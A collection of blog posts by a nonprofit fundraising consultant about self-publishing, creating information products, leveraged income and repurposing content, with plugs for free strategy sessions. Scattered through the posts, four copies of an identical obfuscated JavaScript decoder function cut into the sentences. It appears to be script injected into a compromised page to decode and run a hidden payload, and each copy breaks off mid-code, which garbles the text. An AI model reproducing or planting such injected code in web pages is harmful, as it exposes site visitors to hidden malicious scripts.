Why I love self publishing
Two of the biggest rejections of my life set me on one of my greatest paths to success.
About 15 years ago, I submitted my very first (and only) book proposal to one of the biggest publishing companies in the nonprofit industry. I had a dream of writing a book, and I thought this was my sure path to success. I was so excited and could picture the book in my hands. Lots of people loved what I had to say about fundraising, and I knew the book would be a success. function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
It was a bit of a rude awakening when the publisher rejected me cold. Ouch! It was painful and hard to take.
But it was such a huge favor to me.
I wasn't deterred. I started looking for other ways to get my book out there. And lo and behold, I found the world of self publishing.
Self publishing a book means that you take responsibility for all aspects, from layout to cover design to marketing. I was so willing to get my book out there, that I spend the time necessary to learn what I needed to know to be successful. That was many years and several books ago.
I have a colleague (I won't share her name, but if I did, you'd probably recognize the name) who published her book through a traditional publishing company. She still had to do most of the marketing, she deals with some pretty tight restrictions, and she makes $1 for every book sold. Yep, you read that right.
If you want to make money from the sale of your book, self publishing is the way to go. Here are some specific reasons I love self publishing:
- Control of the content. When I publish a book myself, I am in complete control of the content. I get to decide on the topic, the main points and the theme of the book, the structure of the material, the layout, and everything about the material. Of course the downside is that if I mess up, it's my own fault (no one to blame it on!).
- Flexibility in promotion. As the book's publisher, I get to choose the methods used to promote the book. Over the years, my team and I have created a repeatable launch plan to get a book out into the world. It works every time for us, generating lots of awareness and selling lots of books. And the nice thing is that I can do the pieces I want to do - if I want to do a book tour or a book signing, I can. If I don't want to, I don't have to. Easy as that.
- All the cash in my pocket. I don't have to split the proceeds with a publisher when I self publish. My first book, "Fundraising Buffet" costs my about $7 to print. It sells for about $20, which means my profit margin is $13. It may not seem like a heck of a lot of money, but believe me, it adds up.
I'll be honest - the downside of self publishing is that all the responsibility sits in your lap. That means you've got to have the discipline to get your book written and the street-smarts to do the marketing and promotion. If you already have a tribe or a list of followers, promotion isn't that hard. And when your book is something your audience is hungry for, promotion is quite easy.
Here’s my top 3 – what’re yours?
There are all kinds of reasons to want to write and publish a book. It gives you credibility, creates a platform for a business, and much more.
Here are my top 3 reasons for writing books:
- My books give me instant credibility. When folks are considering me as a speaker, it helps that I've written books, and can bring them to sell at conferences and events. (Yes, event organizers actually WANT me to sell my stuff!)
- I love that I've already left a bit of a legacy put taking the knowledge out of my head and put it into writing. I can help a limited number of people working one-on-one. I can help millions through a printed book.
- I really love the passive income I earn nearly every day from selling books on my website. In fact, in 2012, I made more money on books and products than I did in my last paying job!
It takes commitment to get a book put together. There are lots of things to think about, like the content of the book, the cover, who will publish it and how you'll promote it. And it's easy to get overwhelmed. (I almost didn't publish my first book because of perfectionism, but that's a different story.)
Today, we have so many more options for getting help than we did 15 years ago when I started working on my first book. I wish I'd known then what I know now You can get a writing coach to help you organize your thoughts or a publishing coach to guide you through the whole process. I stumbled blindly through it all with my first book, figuring things out as I went.
Yet, despite all the peaks and valleys, I'd do it again in a heartbeat. And I will. I've already got my next book cooking in my thoughts. 🙂
If you're thinking about writing a book, I encourage you to go for it. There are lots of people out there who need to read what you have to share. Thereare people who will only be able to understand it in the way you explain it.
So, start by making the decision to do it. Then either figure out the rest or find someone to help you.
Want help? function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
What product will you create next?
I launched a new product today! I’m so excited about it and about how well it's being received.
A successful launch means that I'll get great information in the hands of the people who need it, and create a nice payday for myself in the process. Plus, I've had this product in mind for some time now, and I'm thrilled to get it out of my head. Now that it's created, it's a legacy I can leave of my knowledge.
People are always asking me how I do it, so I thought I'd share a few things I've learned about creating information products.
- Make sure you have a hungry audience before you start creating a product. If people don't want it, they won't buy it, even if they really need it. Do your homework to find out what they would do anything or pay anything for.
- Put strategy first. Before you begin the creative process, figure out how you will market the product. It won't do you any good to write the best book in the world if you don't have a way to get it into the hands of the people who need it. I know lots of people who have boxes and boxes of books in their garage and it's sad - all those resources just going to waste.
- Create your product in the format that people want. In other words, find out if your audience wants a book, an ebook, a video, an audio, or some combination. Don't create somethng using the format you like. Put it in the format they want.
- Make sure the product you create fits with the rest of your offerings. If your business is geared toward helping nonprofits with fundraising, don't create a gardening book. Keep it on topic.
- Know how your new product will fit in your marketing funnel. Will your product be an introductory piece to help people get to know you and your expertise? Or will it be a cornerstone of your services? Knowing where it fits will help you position and price the product.
- Show the value. When you talk to people about your new product, make sure you illustrate the value it will bring to them. Don't expect them to figure it out for themselves. Tell them how it will save them time, help them raise more money, shorten their learning curve, lower their stress, etc.
Finally, be clear that having a book or a product is cool, but writing it is only half the work. It takes planning and promotion to really see the fruits of your labor.
My $25,000 idea
For as long as I can remember, I’ve always wanted to write a book.
I think I was 6 when I wrote my first short story. That must have been about the same time that my first grade teacher started sending me to the library during certain lessons because I kept getting bored.
Fast forward many years.
After working in fundraising a while and helping others, I knew I could write a book about raising money, making it easy to understand. I have a gift for teaching, and I knew that writing a book was essentially putting my teaching on paper. I didn't really know where to start or how to get my book published, so the idea sat in my head for many years.
Fast forward a few more years.
As an entrepreneur, I learned about creating a signature system to document my personal method of helping nonprofits raise money. Since I'd already been helping lots of folks, it wasn't too hard to do and the Get Fully Funded system was born.
In October of 2011, the Get Fully Funded system was unveiled as a home-study book, complete with worksheets, templates, and all the tools someone would need to implement it themselves. My team and I spent a lot of time planning the launch to get the book into the hands of as many people as possible. (In fact, we still use that same launch plan when we bring a new product to the world).
I was reviewing my numbers the other day and realized how much money I've made from that one book. In about 18 months, the Get Fully Funded home-study system has generated about $25,000 for me. Can I get a woohoo? 🙂
The nice thing about the book is that it continues to sell regularly from my website. We have systems in place now to produce and ship the book, so I don't have to physically do anything anymore to get the book in the customers' hands. This is passive income at its best!
So, let me ask you: What's your $25,000 idea?
What's gift can you bring to the nonprofit world that you can turn into a product to help lots of folks and add money to your bottom line? Right now,
I'm helping a client refine her signature system and create more passive and leveraged income so she can do more of what she loves and make more money at the same time. I can't wait to see what she does in just a few months! She's got a product already in production, and using my experience, I'll be able to help her avoid a lot of mistakes. (Sure wish I'd had someone like that when I launched my first product!)
If you aren't sure what your signature system is or what you can do to add $25,000 to your bottom line, I'd be happy to help you figure it out. Go to HelpMeSandy.com to schedule a free strategy session.
Help more nonprofits in the same amount of time
I’m sure you’ve heard the saying “work smarter, not harder.”function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=”;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
We all want to do that. We want to find a way to get more done without working more hours. Sometimes we think if we're clever enough or if we find the right time management tool, we can do it!
Well, I want to tell you that there is a way for you to serve more nonprofit clients and make more money without spending more time doing it. It's about leverage.
Leverage is about using a fulcrum to gain more power. As an entrepreneur, you need to gain more power over your day.
There are lots of ways you can leverage yourself. The most important one is for you to think about working with multiple clients at a time. Work one-to-many instead of one-to-one. When you work with one client at a time, there's a ceiling to the number of people you can help. You can physically only help a limited number of people.
But, when you work with multiple clients at once, you can dramatically increase the number of nonprofits you can serve.
So, what does leverage look like? Here are two common strategies:
- Group work. If you have multiple clients that are all experiencing the same problems, you can work with them all together, and only have to explain the solution one time instead of many times. You could offer a workshop to help a group of clients at one time, or you could do a 4-week coaching program, teaching for only an hour each week. With all the technology we have available to use, groups are just as easy to do virtually as they are in person.
- Products. If there are hundreds or thousands of people who need your expertise, think about creating an info-product to help them. This is a great way to leverage yourself! You create the product once, offer it on your website, then help countless nonprofits get the solution they need. Products can be books, audios, videos, workbooks, home study kits, or something else. The possibilities are endless!
The nice thing about leveraged income strategies is that they give you a way to offer something at a lower price point than your normal consulting rate, which makes it much more affordable for your clients and prospects. And oddly enough, you can make more money. Let me share an example.
In the Spring of 2012, I came across a way to do livestream training. A client had a studio that was largely sitting empty, and the first time I saw it, I knew exactly what I could do with it. My Simple Success Fundraising Plan was a popular product, and I really wanted to offer it in a new way. So I offered livestream training based on the book at a lower pricepoint, and had dozens of people jump on it. I made several thousand dollars teaching the material I already had, and had a great time doing it! Dozens of people got the help they needed putting a written fundraising plan together. It was a total win!
Products and groups are a lot easier to set up and run than you might think. If you need help, shoot me an email and we'll set up a free strategy session to see what form of leverage makes the most sense for you.
Reuse and re-purpose content!
If you aren’t using your work more than once, you’re missing the boat! There are lots of ways to re-use and re-purpose content like your writing and talks to increase your offerings and add to your bottom line.function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
The first book I put together was actually the simplest thing in the world to do. I took all the handouts from the various workshops I'd led and put them in one file. I smoothed it out, added a couple more thoughts, and ta da! My first book was born! (Fundraising Buffet: A collection of 101 tips to increase donations and deepend donor satisfaction).
The nice thing about that book is that it didn't take a heck of a lot of work to put it together. It took me a long time to handle my perfectionism and call it done, but that's another story. 🙂
I've been able to sell that book from my website, sell it in the back of the room when I speak, give it away as a gift, and add it as a bonus to other products. I self published it, so I have control over the content and can easily do what I want with it (perk of self-publishing).
I could have turned it into a webinar, recorded an audio of it, or created a workshop from it. I could have found dozens of ways to re-use and re-purpose that material.
If you're concerned that this is too many different ways to offer information, don't. Remember that there are several different learning styles out there - some people prefer to read the book, some want to listen to the audio, some like a webinar, others want to learn in person. When you can offer information in a variety of ways, you're actually doing a nice job of accommodating a variety of learning styles.
Here's an exercise for you: Grab a piece of paper and pen, and make a quick list of everything you've got that you could re-use or re-purpose. Include articles you've written, talks you've given, workshops, webinars, books you've written, etc. Put it ALL on the list. Then think about ways you could re-package various ones or combime them together for a new product.
What do you have that you could market now? What could you tweak a bit and market now?
I bet you'll find you have more to work with than you think!
